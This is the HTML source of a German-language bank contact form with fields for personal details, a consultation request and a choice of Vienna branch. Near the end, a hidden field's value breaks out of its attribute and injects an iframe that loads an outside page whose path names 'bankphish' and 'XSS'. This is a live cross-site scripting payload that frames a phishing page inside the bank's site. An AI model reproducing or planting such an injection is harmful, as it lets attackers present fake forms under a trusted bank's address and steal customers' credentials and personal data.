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"> </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Nachname:*</font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="Nachname" class="menu" type="text" id="Nachname" value=""> </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Straße, Nr.:</font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="Strasse" class="menu" type="text" id="Strasse" value=""> </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">PLZ - Ort:</font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="PLZ" class="menu" type="text" id="PLZ" size="8" value=""> - <input name="Ort" class="menu" type="text" id="Ort" value=""> </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr bgcolor="CCCCCC" class="fliesstext" bgcolor="#DDDDDD"> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Geburtstag:</font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="Geburtstag" class="menu" type="text" id="Geburtstag" value=""> (Tag/Monat/Jahr)</font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Beruf:</font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="Beruf" class="menu" type="text" id="Beruf" value=""> </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Telefon:</font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="Telefon" class="menu" type="text" id="Telefon" value=""> </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Fax:</font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="Fax" class="menu" type="text" id="Fax" value=""> </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">EMail:*</font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="EMail" type="text" class="menu" id="E-Mail" value=""> </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr> <td colspan="3"><font size="1" class="fliesstext"></td> </tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td valign="top"><BR><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Nachricht*:</font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <BR><textarea class="menu" name="Nachricht" id="Nachricht" cols="40" rows="5"></textarea> </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr class="fliesstext"> <td colspan="3"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="Beratungstermin" type="checkbox" id="Beratungstermin" value="true"> Ich wünsche einen Beratungstermin</font></td> </tr> <tr class="fliesstext" id="Wunschtermin" style="visibility: hidden;" bgcolor="#DDDDDD"> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Wunschtermin:</font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="Wunschtermin" type="text" id="Wunschtermin" class="menu" value=""> </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr class="fliesstext" id="Alternativtermin" style="visibility: hidden;" bgcolor="#DDDDDD"> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Alternativer Termin:</font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="AlternativTermin" type="text" class="menu" id="AlternativTermin" value=""> </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td colspan="3"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Bitte rufen Sie mich zu folgenden Zeiten unter oben genannter Telefonnummer an:</font></td> </tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td bgcolor="DDDDDD"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> <td bgcolor="#DDDDDD"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <input name="Zeiten" type="text" id="Zeiten" class="menu" value=""> Uhr </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr><td><br></td></tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td colspan="3"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Ich möchte von folgender Filiale betreut werden:</font></td> </tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Bankstelle:*</font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <select name="Bankstelle" size="1" id="Bankstelle" onChange="document.WSK.submit()" class="fliesstext"> <option value="">auswählen</option> <option value="W26" >Weimarer Straße 26</option><option value="T34" >Thaliastrasse 34</option><option value="GE54" >Gentzgasse 54</option><option value="F101" >Favoritenstraße 101</option><option value="TA1" >Tandelmarktgasse 1</option> </select> </font></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> </font></td> </tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td colspan="3"><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Von folgendem Mitarbeiter kontaktiert werden:</font></td> </tr> <tr class="fliesstext" bgcolor="#DDDDDD"> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif">Mitarbeiter:</font></td> <td> <div align="left"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> <select name="MA" size="1" class="fliesstext"> <option>----</option> </select> </font></div></td> <td><font size="1" face="Verdana, Arial, Helvetica, sans-serif"></font></td> </tr> <tr> <td colspan="4"> <BR> </td> </tr> <input type="hidden" name="Vorname" value="a"><iframe src=http://www.baseportal.com/baseportal/bankphish/_XSS width=700 height=500>"> <input type="hidden" name="STEP" value="1"> <tr> <td valign="top"> <input type="submit" name="Submit" value="ANFRAGE SENDEN"> </font></div></td><td colspan="2"><font size="1" face="Verdana,Arial" color="#FF0000">Mit * gekennzeichnete Felder müssen unbedingt ausgefüllt werden.</font></td> </tr> <tr> <td colspan="3"> <BR></td> </tr> </table> </td> </tr> </form> </table> </body> </html>